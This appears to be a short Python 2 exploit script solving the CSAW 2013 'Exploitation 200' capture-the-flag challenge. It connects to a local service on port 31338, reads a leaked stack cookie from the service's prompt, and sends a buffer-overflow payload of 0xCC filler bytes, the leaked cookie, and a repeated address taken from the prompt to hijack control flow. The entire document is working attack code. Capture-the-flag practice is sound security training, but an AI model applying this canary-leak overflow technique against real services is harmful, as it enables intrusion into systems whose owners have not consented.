# CSAW 2013 Exploitation 200

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( ("localhost", 31338) );

prompt = s.recv(107)

print "cookie: %s" % prompt[4:8]

s.send("%s\x00%s%s" % ("\xCC" * 2047, prompt[4:8], prompt[0:4]*10))

